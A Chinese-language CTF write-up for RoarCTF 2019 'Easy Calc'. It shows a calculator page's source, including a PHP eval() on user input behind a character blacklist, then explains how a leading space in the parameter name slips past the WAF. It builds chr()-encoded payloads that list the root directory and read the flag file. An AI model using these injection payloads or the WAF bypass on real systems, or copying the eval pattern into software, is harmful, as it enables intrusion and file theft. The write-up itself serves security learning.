解题步骤
查看页面功能得到该页面是一个可以计算表达式,并且返回最后结果的功能页面
查看网页源代码,在源代码中发现一段带有
<script>
$('#calc').submit(function(){
$.ajax({
url:"calc.php?num="+encodeURIComponent($("#content").val()),
type:'GET',
success:function(data){
$("#result").html(`<div class="alert alert-success">
<strong>答案:</strong>${data}
</div>`);
},
error:function(){
alert("这啥?算不来!");
}
})
return false;
})
</script>
其中出现了一个名为calc.php
的页面,访问该页面:
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
得到一段php
代码,改代码功能是对输入的表达式进行过滤,并且带代码中出现了eval()
函数,则可以判断该题与远程代码执行漏洞(REC)有关
但最后尝试使用了ls
等系统命令以及各种绕过来获取目录,发现无法显示,最后认真分析源码中的函数以及借鉴其他博主的解题思路,得知最后的解题还需要运用以下几个知识点:
-
encodeURIComponent()
函数:作用是把字符串作为URI组件进行编码,但是不会对 ASCII 字母和数字进行编码,也不会对这些 ASCII 标点符号进行编码: - _ . ! ~ * ’ ( );其他字符(比如 :;/?😡&=+$,# 这些用于分隔 URI 组件的标点符号),都是由一个或多个十六进制的转义序列替换的 -
PHP的字符串解析特性:我们知道PHP将查询字符串(在URL或正文中)转换为内部 G E T 或的关联数组 _GET或的关联数组 GET或的关联数组_POST。例如:/?foo=bar变成Array([foo] => “bar”)。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([news_id] => 42)。如果一个IDS/IPS或WAF中有一条规则是当news_id参数的值是一个非数字的值则拦截,那么我们就可以用以下语句绕过:
/news.php?%20news[id%00=42"+AND+1=0–
上述PHP语句的参数%20news[id%00的值将存储到$_GET[“news_id”]中。
HP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:
1.删除空白符
2.将某些字符转换为下划线(包括空格)
我的理解:
假如waf不允许num变量传递字母:http://www.xxx.com/index.php?num = aaaa //显示非法输入的话
那么我们可以在num前加个空格:
http://www.xxx.com/index.php? num = aaaa
这样waf就找不到num这个变量了,因为现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。
注:摘自[RoarCTF 2019]Easy Calc -
利用
scandir()
列出目录和文件,var_dump()
进行输出scandir()
:返回指定目录中的文件和目录的数组,其中scandir(/)
相当于ls /
var_dump()
:用于输出变量的相关信息,显示关于一个或多个表达式的结构信息,包括表达式的类型与值 -
利用
file_get_content()
读取并输出文件内容
有了以上知识点,就可以开始接下来的解题:
构造payload:? num=var_dump(scandir(chr(47)))
,其中? num
绕过了WAF
的防护,但是php在在解析时仍然等于?num
;chr(47)
= /,47 是 / 的 ASCII编码;var_dump(scandir(chr(47)))
相当于system(ls /)
,故回显为:
其中出现了f1agg
的文件,构造payload读取该文件内容:? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
相当于system(cat /f1agg)
,得到回显:
小结
在解题过程中,对一些函数和相关知识点还不够熟悉,不能够立马想到相关的绕过方法,还需要继续努力学习